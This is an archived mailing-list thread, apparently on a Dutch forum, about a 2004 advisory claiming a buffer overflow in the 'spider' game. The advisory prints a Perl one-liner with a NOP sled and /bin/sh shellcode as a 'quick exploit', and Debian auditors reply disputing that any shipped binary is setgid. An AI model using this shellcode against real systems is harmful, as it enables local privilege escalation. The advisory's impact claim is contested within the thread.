PDA

Bekijk Volledige Versie : Buffer Overflow in Spider game



Security Team
04/10/04, 21:05
Description:
Spider 1.1 buffer overflow.

Summary:
A vulnerability has been discovered in the game spider, an application
contained in the Debian GNU/Linux distribution.
The vulnerability allows a local attacker to gain elevated privileges by
overflowing the -s parameter.

Impact:
The attacker can gain group privileges. By default "games".

Workaround:
A patch can be found at
http://www.emuadmin.com/contrib/software/spider/spider-1.1.patch

Details:
The vulnerability is located in the file movelog.c
read_file(fname)
char *fname;
{
FILE *fp;
char buf[1024], buf2[1024];
char *dp;

fname = remove_newlines(fname);
if ((fp = fopen(fname, "r")) == NULL) {
(void)sprintf(buf, "Can't open file \"%s\" for loading.", fname);
^^^^^^^^
show_message(buf);
return;
}

sh# spider -s `perl -e 'print "A" x 1045'`
Program received signal SIGSEGV, Segmentation fault.
Quick exploit:
sh# spider -s `perl -e 'print "\x90" x 987 .
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x 69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80".
"\x0c\xf6\xf\xbf"'`
sh# id
uid=1002(gigi) gid=100(game) groups=100(users)

Availability This message and any further updates can be found at
http://www.emuadmin.com/advisories/spider-1.1-10032004


Security Team
security@emuadmin.com

www.emuadmin.com

Steve Kemp
05/10/04, 08:25
On Sun, Oct 03, 2004 at 12:05:23PM +0300, Security Team wrote:

> A vulnerability has been discovered in the game spider, an application
> contained in the Debian GNU/Linux distribution.
> The vulnerability allows a local attacker to gain elevated privileges by
> overflowing the -s parameter.
>
> Impact:
> The attacker can gain group privileges. By default "games".

Neither Debian stable nor unstable contain any spider binaries
setuid or setgid.

Debian Stable - spider 1.1-9:
uml201:~# ls -l /usr/X11R6/bin/*spider*
-rwxr-xr-x 1 root root 53628 Dec 13 2001 /usr/X11R6/bin/round.spider
-rwxr-xr-x 1 root root 54396 Dec 13 2001 /usr/X11R6/bin/small.spider
lrwxr-xr-x 1 root root 27 Oct 4 19:23 /usr/X11R6/bin/spider -> /usr/X11R6/bin/round.spider

Debian Unstable - spider 1.1-11:

skx@lappy:~$ ls -l /usr/X11R6/bin/*spider*
-rwxr-xr-x 1 root root 61048 2004-09-04 12:11 /usr/X11R6/bin/round.spider
-rwxr-xr-x 1 root root 57624 2004-09-04 12:11 /usr/X11R6/bin/small.spider
lrwxrwxrwx 1 root root 12 2004-10-04 20:10 /usr/X11R6/bin/spider -> round.spider


You can find a list of setuid/setgid binaries contained in Debian
stable and unstable at:

http://www.setuid.org/

Steve
--
# The Debian Security Audit Project.
http://www.debian.org/security/audit

van Helsing
06/10/04, 03:55
--Signature=_Tue__5_Oct_2004_07_56_53_+0200_93S2eEJ= 953aT68o
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

On Mon, 4 Oct 2004 20:23:46 +0100
Steve Kemp <steve@steve.org.uk> wrote:

> On Sun, Oct 03, 2004 at 12:05:23PM +0300, Security Team wrote:
>
> > A vulnerability has been discovered in the game spider, an
> > application contained in the Debian GNU/Linux distribution.
> > The vulnerability allows a local attacker to gain elevated
> > privileges by overflowing the -s parameter.
> >
> > Impact:
> > The attacker can gain group privileges. By default "games".
>
> Neither Debian stable nor unstable contain any spider binaries
> setuid or setgid.

*cut the linux crap ;)*

He didn't said DEBIAN is affected.
He just said it's contained in Debian.
I would take "contained" as example.... not as "only affected".
And he also didn't said something about getting r00t.
Just group privileges... (getting "games"-gid.. w00w00 ;)).

Even Debian dosn't setuid/setguid spider it's include and I'm sure the
author wouldn't report things wich don't work.

So get the "games"-gid with this error and be happy. ;-)
And spend honor to the guys who allow the "games"-group to use adduser. :)


vh

--Signature=_Tue__5_Oct_2004_07_56_53_+0200_93S2eEJ= 953aT68o
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (OpenBSD)

iD8DBQFBYjeu+1+GxO/6gdIRAlCIAJ9ZN87GgboDt6PmgiS/iDXdDxQ0ywCeM7gC
BNpFhkLIVmSkwI7QO9PToLY=
=/Ji6
-----END PGP SIGNATURE-----

--Signature=_Tue__5_Oct_2004_07_56_53_+0200_93S2eEJ= 953aT68o--

Matt Zimmerman
07/10/04, 08:45
On Tue, Oct 05, 2004 at 07:56:53AM +0200, van Helsing wrote:

> He didn't said DEBIAN is affected.
> He just said it's contained in Debian.

The message made a claim that a vulnerability existed in a package in Debian
which allowed access to gid 'games'. That is not the case.

--
- mdz